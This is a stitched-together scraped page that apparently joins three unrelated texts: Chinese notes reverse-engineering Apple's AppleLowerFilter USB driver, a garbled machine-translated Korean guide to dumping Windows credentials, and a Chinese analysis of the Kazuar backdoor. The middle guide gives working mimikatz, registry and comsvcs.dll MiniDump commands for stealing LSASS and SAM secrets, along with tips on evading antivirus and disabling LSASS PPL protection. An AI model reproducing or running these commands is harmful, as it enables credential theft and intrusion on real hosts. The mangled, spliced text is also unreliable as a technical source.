Callback的第一步是檢索USB描述符,這是通過被稱為GetUsbDeviceDescriptor的函數完成的。此函數用於檢索USB設備的USB設備描述符。這是通過為URB (USB請求塊)分配內存並使用URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE類型完成的,這是一個從USB設備檢索描述符的請求。被請求的描述符是USB_DEVICE_DESCRIPTOR_TYPE,它提供有關USB設備的信息,如其供應商和產品id、設備類和協議。該函數同步提交URB以檢索描述符。

對於大多數與USB相關的操作,蘋果使用usbdlib,這有點令人不可思議,因為這是一個WDF驅動程序,他們可以使用wdfusb標頭,簡化事情。

然後,驅動程序將bNumConfigurations存儲到FILTER_EXTENSION上下文中,並繼續調用我認為是該驅動程序的主要函數GetPreferredConfig。在描述其內部結構之前,先看一下這個函數的簡單偽代碼:

2.png

該函數將首先檢查設備的配置數是否為1。如果是,則將首選配置設置為1;如果沒有,代碼將發送一個URB來檢索首選配置;如果URB請求失敗,則首選配置為3。然後代碼在FilterCtx結構中設置DeviceConfig字段。然後,它檢查QueryAppleSoftwarePresent函數是否返回false(表示未安裝AppleSoftware),如果是,則將首選配置設置為1。然後,代碼檢查首選配置是否大於或等於設備描述符中指定的配置數;如果是,則將首選配置設置為最大配置數。最後,如果首選配置大於或等於5,則代碼返回5。

在這個函數中有幾個關鍵點,首先突出的是getdeviceconfigure函數,該函數將為URB分配內存,設置URB以發出特定於供應商的控制請求,然後將URB同步提交給USB驅動程序堆棧。正在進行的特定供應商請求是請求類型為69的控制傳輸和包含一個字節數據的傳輸緩衝區。

3.png

選擇首選配置的下一個關鍵點是QueryAppleSoftwarePresent函數,這個函數起著很大的作用,因為它的返回值將決定我們是否總是被限制為只有一個首選配置。這個函數將做以下事情:

4.png

回到GetPreferredConfig函數,這個值起著很大的作用,因為這個函數返回的數字將用於覆蓋設備註冊表項中的OriginalConfigurationValue。

注意:GetPreferredConfig返回的值將被減去1,因為OriginalConfigurationValue描述的註冊表值對應於usb定義的配置索引,由配置描述符(USB_CONFIGURATION_DESCRIPTOR)的bConfigurationValue成員指示,而不是由設備配置描述符中報告的bConfigurationNum值表示。

我們剛剛看到的是為什麼即使INF在OriginalConfigurationValue中寫入值2,如果你將iPhone插入沒有安裝iTunes的PC,你會在註冊表中看到以下內容:

5.jpg

在註冊表中設置OriginalConfigurationValue之後,EvtDevicePrepareHardware函數將調用wdfusbtargetdevicecrecreate來創建USB目標設備對象。 USB目標設備對象表示底層USB設備,並為驅動程序與設備通信提供了一種方式。

為了定期檢查首選配置,該函數設置了一個WDFTIMER。計時器的回調函數將被定期調用,以檢查首選配置是否已更改。如果首選配置已更改,則函數將調用WdfUsbTargetDeviceCyclePortSynchronously,以便意外刪除並重新枚舉設備,從而使用新配置進行加載。

計時器的周期設置為0,因此框架不會調用計時器。另一方面,過濾器將在計時器的回調函數和D0Entry回調中調用WdfTimerStart, DueTime為5s(相對於當前系統時間)。

現在讓我們看看這兩個IRP預處理回調,以獲得驅動程序工作流的全貌。 IRP的預處理允許驅動程序在將IRP發送到默認處理程序或堆棧中的另一個驅動程序之前修改或重定向IRP。

首先看一下內部設備控制請求的處理程序。該函數將檢查IRP是否為IOCTL_INTERNAL_USB_SUBMIT_URB請求,以選擇USB配置。如果是,函數將獲得設備的句柄,轉發IRP,然後檢索USB接口的管道句柄。 Interrupt、BulkIn和BulkOut的管道句柄將存儲在設備上下文中。

現在讓我們看一下PnP IRPs預處理的處理程序。在本文的示例中,句柄將處理兩種情況:IRP_MN_QUERY_DEVICE_RELATIONS 和IRP_MN_QUERY_ID。

QueryID IRP的情況非常簡單,函數將檢查FilterCtx-DeviceConfig(記住這個值是通過供應商特定的URB獲得的)是否被設置為1,如果是,函數將字符串RESTORE_MODE附加到BusQueryHardwareIDs和BusQueryDeviceID請求返回的信息中。

另一方面,querydevicerrelation更有趣一些。首先,這個處理程序只會在某個計時器沒有運行並且設備上安裝了Apple Software的情況下執行。它將只處理BusRelations IRP,它將同步轉發請求並檢查狀態是否成功。如果返回任何信息,它將在返回的設備對象列表中查找其CompatibleId包含USB\Class_06的設備。如果找到了,它會取消對這個DO的引用,然後將其從列表中刪除並更新設備計數,這樣即使usbccgp為WPD設備創建了PDO, PnP也不會看到這個DO,因為返回的列表中沒有它。不久,我們將看到低級過濾器如何處理這一點。

如果找到了類6的設備,那麼該函數將根據DbgPrints設置另一個WDF定時器,我們將其稱為PtpTimer,它在5秒後被觸發。當觸發回調時,將在deviceContext中設置一個標誌,因此QueryDeviceRelations處理程序不再處理請求,將檢查iTunes是否存在,如果存在,它將發送以下一組PTP/MTP操作請求包到USB設備。

OpenSession - OperationCode:0x1002;

vendoreextensionoperationcode:0x9008;

CloseSession - OperationCode:0x1003;

下面的USB數據包捕獲說明了這些操作的執行,注意它們是如何在該端口上捕獲大約5秒後發生的。

6.jpg

儘管嘗試了所有的手段來獲得操作0x9008的更多信息,但似乎沒有任何關於它的蘋果設備的信息。所能得到的最好結果是ChatGPT說“PTP/MTP數據包中的操作命令0x9008通常對應於“Apple Device Info”命令”。不幸的是,當要求提供證明這一點的文檔/引用時,而聊天給到的每個鏈接要么是無效的,要么是不可用的/廢棄的蘋果文檔。給定名稱“蘋果設備信息”,筆者認為它類似於PTP/MTP命令“GetDeviceInfo”,但在設備命令0x9008上嘗試的每個測試似乎都沒有數據階段,所以最好的猜測是,要么不是“設備信息”命令,要么蘋果設備不再響應該命令。

7.jpg

最後,在發送PTP/MTP請求後,PtpTimer將調用IoInvalidateDeviceRelations,其關係類型為BusRelation,這將觸發一個新的IRP QueryDeviceRelations,但由於這次計時器已經執行,處理程序不會從設備列表中刪除WPD設備。這次PnP管理器我們會看到WPD設備的PDO並開始為它構建堆棧。下圖顯示了通過將LowerFilter添加到堆棧中並跟踪Pre和Post捕獲的這種行為,IRP由AppleLowerFilter處理。

8.jpg

目前猜測是帶有operationCode0x9008的PTP包以某種方式,通知設備iTunes存在於主機上或這些行周圍的東西。除此之外,沒有註意到WPD設備在安裝iTunes或沒有安裝iTunes的情況下有任何不同的行為,除了WPD設備實際顯示需要5秒鐘。從設備的LowerFilters列表中刪除AppleLowerFilter似乎對WPD設備的行為沒有任何重大影響。

這幾乎就是AppleLowerFilter的行為方式,可以看到它主要在設備初始化期間工作,除了檢查活動配置的計時器每5秒在後台運行一次之外,查看端口時必須重新舉例。

HireHackking

제목 : 인트라넷 침투 및 수출 해시 요약

현재 기계의 일반 텍스트 비밀번호를 받으십시오
도메인 해시를 내보내기 전에 먼저 현재 컴퓨터의 로컬 해시 비밀번호를 내보내려고 노력할 수 있습니다. 도메인 사용자가 이전 에이 컴퓨터에 로그인하는 경우 도메인 사용자 또는 도메인 관리자의 계정을 직접 얻을 수 있습니다.
Windows 운영 체제에서 SAM 데이터베이스 (C: \ Windows \ System32 \ Config \ Sam)는 로컬 사용자의 해시를 저장합니다.
로컬 인증 프로세스에서 로컬 보안 권한 서비스 프로세스 lsass.exe도 메모리 (DMP 파일)의 사용자 비밀번호를 캐시합니다.
따라서 현재 기계의 해시를 크롤링하는 두 가지 방법 인 온라인 도구 추출 및 오프라인 분석 추출을 고려할 수 있습니다.
참고 : Windows 10 \ 2012R2 이후의 시스템 버전에서 시스템 사용자의 일반 텍스트 암호는 기본적으로 메모리 캐시에서 비활성화됩니다. 현재 Mimikatz를 사용하여 일반 텍스트를 잡을 수 있으며, 확실히 그것을 잡을 수 없습니다. 비밀번호 필드 숫자는 NULL로 직접 표시됩니다.
여기서는 일반 텍스트를 저장하기 위해 레지스트리를 수동으로 수정하여 크롤링 할 수 있습니다. (수정 후 로그인하기 전에 사용자에서 로그 아웃해야합니다)
reg 추가 hklm \\ system \\ currentControlset \\ Control \\ securityproviders \\ wdigest /v Uselogoncredential /t reg \ _dword /d 1 /f

Mimikatz
Mimikatz는 Frenchman Benjamin이 개발 한 강력한 경량 디버깅 도구입니다. 개인 테스트를위한 것이지만 강력한 기능으로 인해 Windows XP-2012와 같은 운영 체제의 일반 텍스트 암호를 직접 읽을 수 있으며 침투 테스트로 유명합니다. 그것은 침투에 필요한 도구라고 할 수 있습니다.
다운로드 주소 : https://github.com/gentilkiwi/mimikatz
1. 레지스트리를 통한 크롤링 해시
현재 시스템 레지스트리의 SAM 및 시스템 파일을 얻기 위해 명령 줄을 실행하십시오 (지역 관리자 권한 필요).
reg save hklm \\ system sys.hiv
reg save hklm \\ sam sam.hiv
파일을 얻은 후 파일을 공격자의 기본 컴퓨터로 다운로드하고 Mimikatz를 사용하여 오프라인 해시를 분석하고 추출 할 수 있습니다.
mimikatz.exe 'lsadump:sam /sam:sam.hiv /system:sys.hiv' 'exit'
이 방법은 SAM 파일에 저장된 로컬 사용자의 계정 만 얻을 수 있습니다.

2. Mimikatz를 대상 기계에 업로드하고 로컬 SAM 파일에 저장된 계정 해시 값을 추출하십시오.
권한 3:debug
TOKEN3:3360ELEVATE
LSADUMP3:SAM

3. 해시를 lsass.exe의 메모리에서 확장하십시오
Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'


로컬 사용자에게 로그인 한 도메인 관리자의 해시 값이 로컬 사용자의 관리자 권한을 사용하여 캡처 한 것으로 나타났습니다.
pwdump7
pwdump7.exe를 직접 실행하십시오


wec
대상 기계에 업로드하고 매개 변수를 추가하여 직접 실행하십시오.
-L 로그인 세션 및 NTLM 자격 증명 (기본값)
-S 현재 로그인 세션 매개 변수의 NTLM 자격 증명 수정 : 사용자 이름 : DomainName :LM HASH :NT HASH
-R 정기적으로 로그인 세션 및 NTLM 자격 증명을 나열합니다. 새 세션이 발견되면 5 초마다 다시 되풀이됩니다.
-C 특수 NTML 자격 증명 매개 변수로 새 세션을 실행합니다.
-E 로그인 세션 및 NTLM 자격 증명을 수시로 나열하고 로그인 이벤트가 생성 될 때 한 번 다시 릴리스트
-o 모든 출력을 파일 매개 변수에 저장 : 파일 이름
-현재 로그인 세션 매개 변수 :을 사용하는 대신 루드를 지정합니다.
-D 로그인 세션 매개 변수 :에서 NTLM 자격 증명을 삭제합니다
-주소 매개 변수 : 주소를 사용합니다
-F Force Safe Mode
-G LM 및 NT 매개 변수 암호에 대한 해시를 생성합니다
-K 캐시 Kerberos 파일 (Unix 및 Windows WCE 형식) 티켓
-K 파일에서 Kerberos 티켓을 읽고 Windows 캐시에 삽입하십시오.
-W 다이제스트 인증을 통해 일반 텍스트 비밀번호를 캐시합니다
-V 상세한 출력


라자네
다운로드 주소 : https://github.com/alessandroz/lazagne
Lazagne.exe 모두


SharpDump
https://github.com/ghostpack/sharpdump
직접 컴파일하면됩니다
./sharpdump

lsasssilentprocessexit
https://mp.weixin.qq.com/s/8uer5DNAQS24KUKXU5YI9W
침묵 프로세스 출구, 즉 조용히 종료됩니다. 이 디버깅 기술은 werfault.exe 프로세스를 도출 할 수 있으며,이 프로세스는 프로그램을 실행하거나 모든 프로세스의 메모리 파일 또는 팝업을 재배치하는 데 사용할 수 있습니다.
주로 LSASSSILENTPROCESSEXIT API를 사용합니다. LEGISTION + 원격 프로세스 분사 및 관련 레지스트리 키 값을 수정하여 메모리를 덤프합니다.
#define ifeo \ _reg \ _key '소프트웨어 \\\\\ microsoft \\\\\\ Windows nt \\\\\ currentVersion \\\\\ execution 옵션 \\\\\'
#define silent \ _process \ _exit \ _reg \ _key '소프트웨어 \\\\\\ Microsoft \\\\\ Windows nt \\\\\ currentversion \\\\\ silentProcessexit \\\\\\'
원격 프로세스 주입을 사용하여 lsass.exe가 rtlreportsilentprocessexit 기능 자체를 호출하십시오.
hmodule hntdll=getModule Handle (l 'ntdll.dll');
rtlreportSilentProcessExit \ _func rtlreportSilentProcessExit=(rtlReportSilentProcessExit \ _func) getProcadDress (hntdll, 'rtlreportSilentProcessExit');
hthread=createremotethread (hprocess, null, 0, (lpthread \ _start \ _routine) rtlreportSilentProcessExit, (lpvoid) -1, null, null);
그러나 레지스트리를 수정해야하므로 소프트 킬링 환경을 우회하는 것은 거의 불가능합니다.
lsasssilentprocessexit.exe 616 0


민감한 환경에서 LSASS 프로세스를 덤프하는 방법

파일없이 PowerShell을 사용하여 파일없이 내보내십시오
https://blog.csdn.net/chenfeng857/article/details/120126818
https://xz.aliyun.com/t/12157#toc-9
comsvcs.dll, 시스템과 함께 제공됩니다. comsvcs.dll의 내보내기 함수 Minidump를 통해 덤프 메모리를 구현하십시오.
지정된 프로세스 메모리 파일을 덤프 할 때는 SedeBugPrivilege 권한이 필요합니다. 관리자 권한의 CMD에 따라 SedeBugPrivilege 권한은 기본적으로 지원되지만 상태는 비활성화됩니다.

CMD에서 rundll32 명령을 직접 실행하고 지정된 프로세스 메모리 파일을 덤프하려고하면 sedebugprivilege 권한을 활성화 할 수 없으므로 덤프가 실패합니다.
그러나 관리자 권한이있는 PowerShell에서는 SedeBugPrivilege 권한이 기본적으로 지원되며 상태가 활성화됩니다.

먼저 lsass.exe 프로세스 PID를 확인하십시오
작업 목록 | findstr lsass.exe
rundll32.exe comsvcs.dll minidump pid 경로 가득
rundll32.exe comsvcs.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ 1.dmp full
직접 실행하면 소프트를 죽임으로써 가로 채워질 수 있습니다.
그것을 우회하는 간단한 방법 :
Copycomsvcs.dll to In Insensitive Directories 및 무작위로 명명 된 Test.dll
C: \\ Windows \\ System32 \\ comsvcs.dll test.dll을 복사하십시오
rundll32.exe c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ test.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ 3.dmp full

로컬로 드래그하고 분석을 위해 Mimikatz를 사용하십시오.
Mimikatz.exe log 'Sekurlsa3333:minidump 2.dmp' 'sekurlsa333:logonpasswords Full'Exit

runasppl이 활성화 된 환경에서
https://www.freebuf.com/articles/system/332506.html
https://xz.aliyun.com/t/12157#toc-19

Mimikatz
PPL 보호 기능을 사용하여 관리자조차도 LSASS 프로세스를 열 수 없습니다.
Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

Mimikatzprivilege:debug의 명령이 성공적으로 활성화되었습니다. sedebugprivilege이지만 명령 sekurlsa333:0logonpasswords가 실패하고 오류 코드0x00000005가 나타납니다. Minikatz 코드 kuhl_m_sekurlsa_acquirelsa () 함수에서 간단히 이해할 수 있습니다.
hdata=null을 처리합니다.
dword pid;
dword processrights=process_vm_read | Process_Query_Information;
kull_m_process_getprocessidforname (l 'lsass.exe', pid);
hdata=OpenProcess (processrights, false, pid);
if (hdata hdata!=invalid_handle_value) {
//OpenProcess OK 인 경우
}
또 다른 {
print_error_auto (메모리 핸들);
}
프로세스 탐색기를 사용하여 LSASS 프로세스를 열어 볼 수있게되면 액세스가 거부됩니다.

Mimikatz의 디지털 서명 드라이버를 사용하여 커널의 프로세스 객체에 대한 보호 플래그를 제거하십시오.

Minikatz 설치 드라이버
권한 3:debug
!+

보호 삭제
! ProcessProtect /Process:lsass.exe /제거

그런 다음 비밀번호를 버릴 수 있습니다
Sekurlsa:LogonPasswords

도구를 사용하여 보호가 삭제 된 것을보십시오.

mimikatz.exe 'privilege:debug' '!+' '! ProcessProtect /Process3:lsass.exe /제거' 'Sekurlsa33333:LogonPasswords'exit '

pplkiller
https://www.cnblogs.com/revercc/p/16961961.html
https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-withoutmimikatz-on-windows-10/
우선 순위 차이 : PP는 시그니처 레벨이 더 크거나 동일하다면 전체 액세스 권한으로 PP 또는 PPL을 열 수 있습니다. PPL은 서명 수준이 높거나 같으면 전체 액세스 권한으로 다른 PPL을 열 수 있습니다. 시그니처 레벨에 관계없이 PPL은 전체 액세스 권한이있는 PP를 열 수 없습니다.
PPL이 활성화되면 더 높은 보호 수준에서 실행되는 프로세스 만 보호 된 프로세스에서 작동 할 수 있습니다.
Windows 커널은 _eprocess 구조를 사용하여 커널 메모리의 프로세스를 나타냅니다. 여기에는 유형 (_ps_protected_type) 및 서명자 (_ps_protected_signer) 속성을 통해 프로세스의 보호 수준을 정의하는 _ps_protection 필드가 포함됩니다.
typedef struct _ps_protection {
연합 {
uchar 레벨;
구조 {
UCHAR 유형 : 3;
Uchar Audit : 1; //예약된
Uchar Signer : 4;
};
};
} ps_protection, *pps_protection;
구조물로 표시되지만 모든 정보는 단일 바이트의 두 개의 니블 (leveles a uchar, signed char)에 저장됩니다. 처음 3 자리는 보호 유형을 나타냅니다 (아래 ps_protected_type 참조). 프로세스가 PP 또는 PPL인지 정의합니다. 마지막 4 자리는 서명자 유형 (아래 PS_Protected_Signer 참조), 즉 실제 보호 수준을 나타냅니다.
typedef enum _ps_protected_type {
psprotectedTypenone=0,
psprotectedTyPepRotectedlight=1,
psprotectedTyPeprotected=2
} ps_protected_type, *pps_protected_type;
typedef enum _ps_protected_signer {
psprotectedSignerNone=0, //0
psprotectedSignerauthenticode, //1
psprotectedSignerCodeGen, //2
psprotectedSignerantimalware, //3
psprotectedSignerlsa, //4
psprotectedSignerWindows, //5
psprotectedSignerwintcb, //6
psprotectedSignerWinsystem, //7
psprotectedSignerApp, //8
psprotectedSignerMax //9
} ps_protected_signer, *pps_protected_signer;
LSA 보호를 우회하려면 eprocess 커널 구조를 패치하여 LSASS 프로세스의 PPL 플래그를 비활성화 할 수 있습니다. 이를 위해서는 LSASS eprocess 구조의 주소와 패치 5 값을 찾아야합니다.
EnumDevedIvers 기능은 커널베이스 주소를 누출하는 데 사용될 수 있습니다. 이것은 시스템 프로세스의 eprocess 구조를 가리키는 psinitialsystemprocess를 찾는 데 사용될 수 있습니다. 커널은 링크 된 목록에 프로세스를 저장하므로 Eprocess 구조의 ActiveProcessLinks를 사용하여 링크 된 목록을 반복하고 LSASS를 찾을 수 있습니다.
eprocess 구조를 살펴보면 패치해야 할 5 개의 필드가 일반적으로 4 바이트로 정렬되어 있음을 알 수 있습니다. 이를 통해 다음과 같이 단일 4 바이트 쓰기로 eprocess 구조를 패치 할 수 있습니다.

주소를 찾은 후이 4 바이트의 값을 0으로 패치하십시오.
pplkiller.exe /installdriver
작업 목록 | findstr lsass.exe
pplkiller.exe /disableppl 688
다른 커널 버전을 만나면 프로그램이 4 바이트를 올바르게 패치 할 수 없으므로 동일한 버전의 컴퓨터를 찾아 LSASS 커널 주소를 WINDBG 디버깅을 통해 볼 수 있습니다.
bcdedit/debug onsrv \*https://msdl.microsoft.com/다운로드/기호

.Reload
! 프로세스 0 0 LSASS.EXE
dt \ _eprocess



주소0x6c0을 찾고 스크립트를 수정 한 다음 컴파일하십시오.


ppldump
https://itm4n.github.io/the-end-of-ppldump/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
PplDump는 C/C ++로 작성된 도구로 사용자 상태 취약성 착취를 구현하여 관리자로서 PPL에 임의 코드를 주입합니다. 이 기술은 Alex Ionescu와 James Forshaw가 보호 프로세스 (PP 및 PPL)에 대한 심층적 인 연구를 수행하는 많은 연구 결과 중 하나입니다.
ppldump의 작동 원리는 다음과 같습니다.
AP에 전화하십시오
HireHackking
在追踪Pensive Ursa(又名Turla, Uroburos)的迭代中,Unit 42的研究人員發現了Kazuar一個新的升級變體——一個先進而隱秘的.NET後門,Pensive Ursa通常將其用作第二級有效負載。
“Pensive Ursa”是一個總部位於俄羅斯的攻擊組織,至少從2004年開始活動,與俄羅斯聯邦安全局(FSB)有聯繫。
烏克蘭CERT在2023年7月報告說,這個版本的Kazuar是針對烏克蘭國防部門的,背後攻擊組織的目標是敏感數據,比如Signal消息、源代碼控制和雲平台數據。
自從Unit 42在2017年發現Kazuar以來,研究人員只在野外看到過幾次,主要針對歐洲政府和軍事部門的組織。由於代碼相似,Sunburst後門與Kazuar聯繫在一起,這表明了它非常複雜。自2020年底以來,研究人員沒有在野外看到新的Kazuar樣本,但有報導稱Kazuar正在不斷開發中。
正如Kazuar升級版的代碼所揭示的那樣,Kazuar的開發者正在增強器隱形操作能力,他們使用各種先進的反分析技術,並通過有效的加密和混淆實踐來保護惡意軟件代碼。
Kazuar概述Kazuar是一種先進的、隱秘的.NET後門,Pensive Ursa通常將其作為第二階段的有效負載,與攻擊組織通常使用的其他工具一起傳播。
最近烏克蘭CERT報告的活動揭示了Kazuar的多階段傳播機制,以及其他工具,如新的Capibar第一階段後門。研究人員對這個新版本的技術分析顯示,它的代碼結構和功能都有了顯著的改進。
這篇文章將詳細介紹以前未記錄的功能,包括:
全面的系統分析:廣泛的數據收集。
竊取雲和其他敏感應用程序的憑證:竊取雲應用程序帳戶、源代碼控制和信號消息傳遞應用程序。
擴展命令集:總共支持45個命令,從另一個Kazuar節點或命令和控制(C2)服務器接收。
增強的任務自動化:攻擊者可以打開/關閉的一系列自動化任務。
可變加密方案:不同加密算法和方案的實現。
注入模式:多種注入模式,允許Kazuar從不同的進程運行並執行不同的功能。
至少從2018年開始,Kazuar的變體改變了它們的混淆方法,一些變體使用ConfuserEx混淆器加密字符串,其他變體使用自定義方法。
本文分析的Kazuar變體實現了多個自定義字符串加密方法,與以前的變體不同,該變體只關注Windows操作系統。
在分析Kazuar的代碼時,研究人員使用dnSpy將代碼導出到集成開發環境(IDE)中,並使用自定義腳本解密字符串。這允許研究人員編輯單獨的.cs文件,並將一些方法名稱編輯成有意義的名稱。研究人員已經解釋了屏幕截圖中出現的方法名。
最新Kazuar變體的詳細技術分析元數據其他研究機構的報告顯示,至少從2018年開始,Kazuar的開發者就在操縱他們樣本的時間戳。這個新變體的編譯時間戳是星期四,2008年11月20日10:11:18 AM GMT。與其他公開可用的變體不同,這是開發者第一次回溯到2008年偽造時間戳。
Kazuar還包含代理版本和BuildID的硬編碼、哈希標識符以及代理標籤。這些可以用作變體標識符,如下圖所示。

Kazuar樣本基本配置信息
初始化執行程序集檢查在執行Kazuar時,它使用Assembly.Location屬性來接收自己的文件路徑並檢查其名稱。只有當返回的值為空字符串時,Kazuar才會繼續執行,如圖所示。從字節數組加載文件時,Assembly.Location屬性返回一個空字符串。
這種檢查似乎是反分析機制的一種簡單形式,以確保惡意軟件的執行是由預期的加載程序完成的,而不是通過其他方式或軟件完成的。
Kazuar執行後,如果它的文件名匹配一個特定的硬編碼哈希名稱(使用FNV算法)。這種行為可能是為了調試目的,讓開發者避免在每次調試惡意軟件時使用加載程序。

檢查Kazuar變體的配置名稱
創建操作根目錄Kazuar創建一個新目錄來存儲它的配置和日誌數據,它使用%localappdata%作為主存儲路徑,並從硬編碼路徑列表中確定其根目錄。
Kazuar根據設備全局唯一標識符(GUID)選擇要使用的根目錄、文件夾名、文件名和文件擴展名,如下圖所示。雖然這些名稱乍一看似乎是隨機生成的,但GUID的使用意味著它們將在同一台受攻擊的設備上每次執行惡意軟件時保持相同的名稱。

負責返迴路徑數組索引的方法
與以前的變體一樣,Kazuar使用結構化目錄方案來保存其日誌文件和其他數據,如單個配置文件和鍵盤記錄器數據。目錄命名是偽隨機的,是根據哈希選擇的。示例包括在前面的變體中看到的FNV哈希算法的自定義實現,以及對GUID值的其他操作。
值得一提的是,在代碼中有一個當前未引用的選項,用於創建一個名為wordlist的文件。這個文件可以為研究人員提供一個尚未實現的功能的線索,也許是使用目錄、文件名或密碼暴力破解的單詞列表。
配置文件惡意軟件創建一個單獨的主配置文件,其中包含以下數據:
C2服務器;
注入模式;
其他運行配置數據;
下圖顯示了下面這個文件的一個片段,你可以在附錄中找到Kazuar配置文件的加密方法。

配置文件的片段
互斥鎖名稱生成Kazuar正在使用互斥鎖來檢查其註入到另一個進程中。 Kazuar通過異或處理當前進程ID和硬編碼值0x4ac882d887106b7d來生成它的互斥鎖名,然後用設備的GUID 異或處理它,如下圖所示。這意味著幾個Kazuars可以在同一設備上串聯操作,只是不注入到同一過程中。

互斥對象名稱生成
體系結構設置Kazuar的注入模式新版本的Kazuar使用了它在配置中描述的“注入模式”,如表所示,默認模式為inject:


Kazuar注入模式和描述
在zombify模式下,Kazuar被注入到用戶的默認瀏覽器中,並有一個回退機制,在默認瀏覽器的查詢失敗時將自己注入到svchost.exe中。下圖顯示了Kazuar的開發者通常使用zombify一詞來處理進程注入:

Kazuars在zombify模式下的代碼注入片段
多線程模型Kazuar以多線程模式運行,而Kazuar的每個主要功能都作為自己的線程運行。換句話說,一個線程處理來自其C2的接收命令或任務,而求解線程處理這些命令的執行。這個多線程模型使Kazuar的開發者能夠建立一個異步和模塊化的流控制。任務解析流如下:

Kazuar的任務解決機製圖
任務解析器組件:Kazuar的PuppeteerKazuar接收新任務,解決它們並將輸出寫入結果文件。求解線程正在處理從C2服務器或另一個Kazuar節點接收到的新任務。然後對任務內容進行加密,並將其寫入磁盤的任務文件中。
每個任務文件實現一個混合加密方案:
1.使用RNGCryptoServiceProvider生成兩個包含隨機數的字節數組,它們分別是16和32字節。 1.1使用第一個數組作為AES (Rijndael)初始化向量(IV)。使用第二個數組作為AES密鑰。
2.在將結果加密並寫入磁盤之前,基於內存中的result內容生成HMACMD5哈希,使用上面第一個項目中描述的數組作為密鑰。
3.用硬編碼的RSA密鑰加密HMACMD5哈希、AES密鑰和IV,並將加密後的BLOB寫到文件的開頭。通過使用快速的AES算法來加密較大的對象,例如結果的內容,並使用較慢的RSA加密來隱藏AES密鑰和IV, Kazuar提高了其性能。這還禁用了僅從磁盤恢復受攻擊文件的選項,因為對稱密鑰是使用非對稱密鑰加密的。
4.使用AES加密來加密result文件的內容。
如下圖所示,任務完成後,生成的結果文件將保存到磁盤上:
Kazuar加密和寫入結果文件方法片段
除了上述加密數據外,Kazuar還將以下字段寫入結果文件的開頭:
1.四個零字節(研究人員認為這是一種分隔符);生成的結果標識符;
2.加密GUID的長度,使用與初始化部分相同的異或算法(這裡的加密消息是“System info at [datetime] (-07)”);
3.加密的GUID本身;
4.RSA加密HMACMD5哈希,IV以及AES密鑰;
5.AES加密後的任務內容。
下圖顯示了來自磁盤的加密結果文件內容:

來自磁盤的加密結果文件內容
字符串加密Kazuar的代碼包含大量與功能和調試相關的字符串。當以純文本形式顯示時,它們揭示了Kazuar的內部工作原理和功能。為了避免研究人員創建基於字符串的指示YARA和檢索規則,Kazuar的字符串是加密的,它在運行時解密每個字符串。
Kazuar使用愷撒密碼(Caesar cipher)的變體作為字符串加密/解密算法。在這個算法中,Kazuar實現了一個簡單地交換每個成員的密鑰和值的字典。最近的Kazuar變體只實現了一個字典,而新的變體實現了多個字典,每個字典包含80對字符,如下圖所示。

包含用於字符串解密的字典類
下圖顯示了在給定字符串上迭代的循環,並檢查給定字符的序數值是否在相關類的字典鍵中。如果是,Kazuar交換鍵和值,並將其附加到精心製作的字符串。否則,它將保持原來的字符。
除了字符串混淆之外,開發者還為代碼中的類和方法提供了無意義的名稱,以使分析更加困難。

創建反混淆字符串的循環
Kazuar解碼的其中一個字符串返回值“Invalid pong response”,如下圖所示。似乎有一個惡意軟件的編碼員忘了把俄語中的C換成英語中的S。

' response '字符串中的錯別字
核心功能為了避免宕機,Kazuar使用被劫持的合法網站作為其C2基礎設施,這是Pensive Ursa的典型做法。此外,正如在註入模式一節中提到的,Kazuar還支持通過命名管道進行通信。它使用這兩種機制來接收遠程命令或任務(如代碼中所述)。
支持的C2命令Kazuar支持從C2接收的45種不同任務,如下表所示。相比之下,Kazuar在2017年分析的第一個變體僅支持26個C2命令。
研究人員將Kazuar的命令分為以下幾類:
主機數據收集;
擴展取證數據收集;
文件處理;
任意命令執行;
與Kazuar的配置交互;
註冊表查詢和操作;
腳本執行(VBS, PowerShell, JavaScript);
自定義網絡請求;
竊取憑證和敏感信息;





Kazuar支持的C2命令
雲、源代碼管理和消息應用程序憑證盜竊Kazuar能夠通過接收來自C2的竊取或無人參與命令,嘗試從受攻擊計算機中的許多工件中竊取憑證。這些工件包括多個眾所周知的雲應用程序。
Kazuar可以嘗試竊取包含這些應用程序憑證的敏感文件。 Kazuar針對的工件包括Git SCM(一種在開發人員中流行的源代碼控制系統),以及Signal(一種用於私人即時消息的加密消息服務)。

Kazuar可能試圖竊取的Git SCM憑證的代碼片段
全面的系統評測當Kazuar最初生成一個唯一的解析線程時,它自動執行的第一個任務是對目標系統進行廣泛的收集和分析,Kazuar的開發者將其命名為first_systeminfo_do。 Kazuar將收集有關受攻擊計算機的大量信息,並將其發送給C2。這包括有關操作系統、硬件和網絡的信息。
Kazuar將這些數據保存到info.txt文件中,並將執行日誌保存到logs.txt文件中。如任務解析部分所述,我們可以在內存中看到結果。在本文的樣本中,它是一個存檔,如下圖所示。

內存中first_systeminfo_do壓縮的結果
除了前面提到的兩個文本文件之外,作為該任務的一部分,惡意軟件還會截取用戶的屏幕截圖。下圖顯示了在加密並發送到C2之前將所有這些文件壓縮到一個文件中的過程:

加密前first_systeminfo_do存檔提取內存的結果
創建自動任務(auto)Kazuar能夠設置以指定間隔運行的自動任務,以從受攻擊的計算機收集信息。下圖顯示了Kazuar配置中記錄的該功能的一個示例。
這些自動化任務包括:
收集系統信息;
屏幕截圖;
竊取憑證;
獲取取證數據;
獲取自動運行數據;
正在從指定的文件夾中獲取文件;
獲取LNK文件列表;
使用MAPI竊取電子郵件;

Kazuar的Autos函數配置
監控活動窗口(Peeps)Kazuar有能力讓攻擊者在配置中設置他們所謂的“peep rules”。雖然Kazuar沒有自帶這些規則,但根據惡意軟件的代碼,似乎這個功能使攻擊者能夠監控指定進程的窗口。這使得攻擊者可以跟踪受攻擊設備上感興趣的用戶活動。
與CC的通信HTTP在與C2服務器建立通信之前,除了上述反分析檢查外,Kazuar還檢查配置數據發送時間間隔,該檢查包括確定是否應該在周末發送數據。
在首次通信時,Kazuar以XML格式發送收集到的數據,並期望獲得帶有新任務的XML結構化響應。
Kazuar使用硬編碼值169739e7-2112-9514-6a61-d300c0fef02d轉換為字符串,並將Base64編碼為cookie。

HTTP POST命令,其正文中包含發送到C2的XML
